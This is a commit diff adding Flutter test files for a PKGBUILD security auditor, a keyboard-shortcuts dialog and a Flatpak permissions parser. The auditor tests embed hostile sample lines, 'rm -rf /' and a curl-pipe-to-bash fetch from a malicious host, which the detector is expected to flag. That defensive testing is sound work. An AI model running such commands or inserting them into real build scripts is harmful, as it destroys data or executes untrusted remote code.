feat: Add AUR PKGBUILD audit, Reflector GUI, Flatpak permissions & shortcuts
This commit is contained in:
@@ -0,0 +1,77 @@
|
||||
import 'package:flutter_test/flutter_test.dart';
|
||||
import 'package:forge/src/services/aur_pkgbuild_service.dart';
|
||||
|
||||
void main() {
|
||||
group('AurPkgbuildService Audit Tests', () {
|
||||
test('passes safe PKGBUILD with clean verdict', () {
|
||||
const safePkgbuild = '''
|
||||
# Maintainer: John Doe <john@example.com>
|
||||
pkgname=hello-world
|
||||
pkgver=1.0.0
|
||||
pkgrel=1
|
||||
arch=('x86_64')
|
||||
source=("https://example.com/hello-world-1.0.0.tar.gz")
|
||||
sha256sums=('SKIP')
|
||||
|
||||
build() {
|
||||
cd "\$srcdir/\$pkgname-\$pkgver"
|
||||
make
|
||||
}
|
||||
|
||||
package() {
|
||||
cd "\$srcdir/\$pkgname-\$pkgver"
|
||||
make DESTDIR="\$pkgdir" install
|
||||
}
|
||||
''';
|
||||
|
||||
final result = AurPkgbuildService.audit(safePkgbuild);
|
||||
expect(result.overallSeverity, SecuritySeverity.safe);
|
||||
expect(result.isSafe, isTrue);
|
||||
expect(result.issues, isEmpty);
|
||||
});
|
||||
|
||||
test('detects dangerous rm -rf / command', () {
|
||||
const maliciousPkgbuild = '''
|
||||
pkgname=bad-actor
|
||||
pkgver=1.0.0
|
||||
package() {
|
||||
rm -rf /
|
||||
}
|
||||
''';
|
||||
|
||||
final result = AurPkgbuildService.audit(maliciousPkgbuild);
|
||||
expect(result.overallSeverity, SecuritySeverity.danger);
|
||||
expect(result.hasDanger, isTrue);
|
||||
expect(result.issues.any((i) => i.ruleName == 'destructive_command'), isTrue);
|
||||
});
|
||||
|
||||
test('detects pipe to shell (curl | bash)', () {
|
||||
const maliciousPkgbuild = '''
|
||||
pkgname=untrusted-app
|
||||
pkgver=1.0.0
|
||||
build() {
|
||||
curl -sSL https://malicious.com/install.sh | bash
|
||||
}
|
||||
''';
|
||||
|
||||
final result = AurPkgbuildService.audit(maliciousPkgbuild);
|
||||
expect(result.overallSeverity, SecuritySeverity.danger);
|
||||
expect(result.issues.any((i) => i.ruleName == 'pipe_to_shell'), isTrue);
|
||||
});
|
||||
|
||||
test('detects warning for git clone inside build()', () {
|
||||
const warningPkgbuild = '''
|
||||
pkgname=git-puller
|
||||
pkgver=1.0.0
|
||||
build() {
|
||||
git clone https://github.com/example/repo.git
|
||||
}
|
||||
''';
|
||||
|
||||
final result = AurPkgbuildService.audit(warningPkgbuild);
|
||||
expect(result.overallSeverity, SecuritySeverity.warning);
|
||||
expect(result.hasWarnings, isTrue);
|
||||
expect(result.issues.any((i) => i.ruleName == 'network_in_build'), isTrue);
|
||||
});
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
import 'package:flutter/material.dart';
|
||||
import 'package:flutter_test/flutter_test.dart';
|
||||
import 'package:macos_ui/macos_ui.dart';
|
||||
import 'package:forge/src/ui/widgets/keyboard_shortcuts_dialog.dart';
|
||||
|
||||
void main() {
|
||||
testWidgets('KeyboardShortcutsDialog renders all shortcuts', (tester) async {
|
||||
await tester.pumpWidget(
|
||||
const MacosApp(
|
||||
home: Scaffold(
|
||||
body: KeyboardShortcutsDialog(),
|
||||
),
|
||||
),
|
||||
);
|
||||
|
||||
expect(find.text('Горячие клавиши Forge'), findsOneWidget);
|
||||
expect(find.text('Быстрый поиск приложений (Spotlight)'), findsOneWidget);
|
||||
expect(find.text('Понятно'), findsOneWidget);
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
import 'package:flutter_test/flutter_test.dart';
|
||||
import 'package:forge/src/services/flatpak_permissions_service.dart';
|
||||
|
||||
void main() {
|
||||
group('FlatpakPermissionsService Parser Tests', () {
|
||||
test('parses basic permissions from manifest correctly', () {
|
||||
const manifest = '''
|
||||
[Application]
|
||||
name=org.example.App
|
||||
|
||||
[Context]
|
||||
shared=ipc;network;
|
||||
sockets=pulseaudio;x11;
|
||||
devices=dri;
|
||||
filesystems=host;
|
||||
''';
|
||||
const overrides = '';
|
||||
|
||||
final perms = FlatpakPermissionsService.parsePermissions('org.example.App', manifest, overrides);
|
||||
expect(perms.network, isTrue);
|
||||
expect(perms.socketPulseaudio, isTrue);
|
||||
expect(perms.socketX11, isTrue);
|
||||
expect(perms.deviceDri, isTrue);
|
||||
expect(perms.filesystemHost, isTrue);
|
||||
expect(perms.filesystemHome, isTrue); // host implies home
|
||||
expect(perms.hasOverrides, isFalse);
|
||||
});
|
||||
|
||||
test('respects user overrides (disabling network and x11)', () {
|
||||
const manifest = '''
|
||||
[Context]
|
||||
shared=ipc;network;
|
||||
sockets=pulseaudio;x11;wayland;
|
||||
''';
|
||||
const overrides = '''
|
||||
[Context]
|
||||
shared=!network;
|
||||
sockets=!x11;
|
||||
''';
|
||||
|
||||
final perms = FlatpakPermissionsService.parsePermissions('org.example.App', manifest, overrides);
|
||||
expect(perms.network, isFalse);
|
||||
expect(perms.socketX11, isFalse);
|
||||
expect(perms.socketWayland, isTrue);
|
||||
expect(perms.socketPulseaudio, isTrue);
|
||||
expect(perms.hasOverrides, isTrue);
|
||||
});
|
||||
});
|
||||
}
|
||||
Reference in New Issue
Block a user